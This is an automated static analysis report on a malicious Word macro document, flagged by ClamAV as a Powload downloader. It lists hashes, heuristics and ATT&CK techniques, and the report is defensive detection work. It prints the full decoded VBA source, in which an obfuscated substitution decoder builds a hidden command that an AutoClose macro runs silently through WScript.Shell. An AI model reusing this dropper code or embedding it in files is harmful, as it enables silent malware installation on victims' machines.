Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b41c8eb7d5907d0a…

MALICIOUS

Office (OOXML)

53.2 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: 046c3f9b6ef9e9ea743428f2da359966 SHA-1: a2c531dd0692088e1afdf22b9624335f2e72b930 SHA-256: b41c8eb7d5907d0a13d03163cbb4114a2983c4dc00237aab00f1a632725c27a6
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

This OOXML document contains VBA macros, specifically an AutoClose macro, which is designed to execute automatically when the document is closed. The macro utilizes WScript.Shell and CreateObject to execute a command that downloads and runs a second-stage payload. The ClamAV detection 'Doc.Downloader.Powload-6707242-0' further supports the downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
         If pizzazz - doolittle > 1 Then
           CreateObject("WScript.Shell").Run akepiro, 0
           geoponic = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If pizzazz - doolittle > 1 Then
           CreateObject("WScript.Shell").Run akepiro, 0
           geoponic = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
      simlin = Array("q", "5", "g", "V", "s", "4", "b", "m", "b", "2", "g", "V", "V", "F", "Z", "9", "9", "w", "k", "U", "q", "s", "5", "3", "t", "U", "k", "T", "s", "3", "t", "b", "3", "s", "g", "s", "N", "p", "4", "N", "k", "q", "9", "u", "X", "i", "9", "V", "b", "U", "m", "4", "F", "g", "F", "r", "W", "V", "q", "s", "L", "V", "U", "W", "q", "t")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2044 bytes
SHA-256: e2d607ce7d64f47ac7ba801b213c868a23bba15a44b7648ebfa1c0160cdb93b8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function inconnectedness(simlin)
  birthplaces = Array("i", "b", "4", "3", "5", "g", "k", "9", "t", "p", "u", "F", "X", "w", "U", "s", "V", "q", "r", "L", "2", "T", "W", "Z", "N", "m")
  battleful = Array("O", "e", ".", "n", "s", "h", "o", "/", "i", "b", "I", "p", "S", "f", "r", "a", "t", "m", "?", "=", " ", "v", "u", ":", "c", "x")
  
  pockmark = vbNullString
  
  For Each kshatriyahood In simlin
    unrecallable = exequy(kshatriyahood, birthplaces, UBound(birthplaces))
    If unrecallable > -1 Then
    pockmark = battleful(unrecallable) & pockmark
    End If
  Next
  
  inconnectedness = StrReverse(pockmark)
  
End Function

Public Function exequy(subtilest, cytoblast, inca)
  submarginal = 3
  achaean = 1992
  For submarginal = 0 To inca
    If cytoblast(submarginal) = subtilest Then
     achaean = submarginal
    End If
  Next

  If achaean = 1992 Then
    achaean = -1
  End If
  
  exequy = achaean
End Function

Sub AutoClose()
  simlin = Array("q", "5", "g", "V", "s", "4", "b", "m", "b", "2", "g", "V", "V", "F", "Z", "9", "9", "w", "k", "U", "q", "s", "5", "3", "t", "U", "k", "T", "s", "3", "t", "b", "3", "s", "g", "s", "N", "p", "4", "N", "k", "q", "9", "u", "X", "i", "9", "V", "b", "U", "m", "4", "F", "g", "F", "r", "W", "V", "q", "s", "L", "V", "U", "W", "q", "t")
  heavenlike = inconnectedness(simlin)
  
  Application.Run "myotasis", heavenlike
  
End Sub


Private Sub myotasis(akepiro)
   
   doolittle = DateDiff("s", #1/1/1970#, Now())
   geoponic = True
   
   While geoponic
     pizzazz = doolittle + 60
     If pizzazz - doolittle > 1 Then
       CreateObject("WScript.Shell").Run akepiro, 0
       geoponic = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 2d5ac26ee1e68e6727001e1da2a4feed59dd91f1e3a223006550d9c26f0e149d
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: unlikely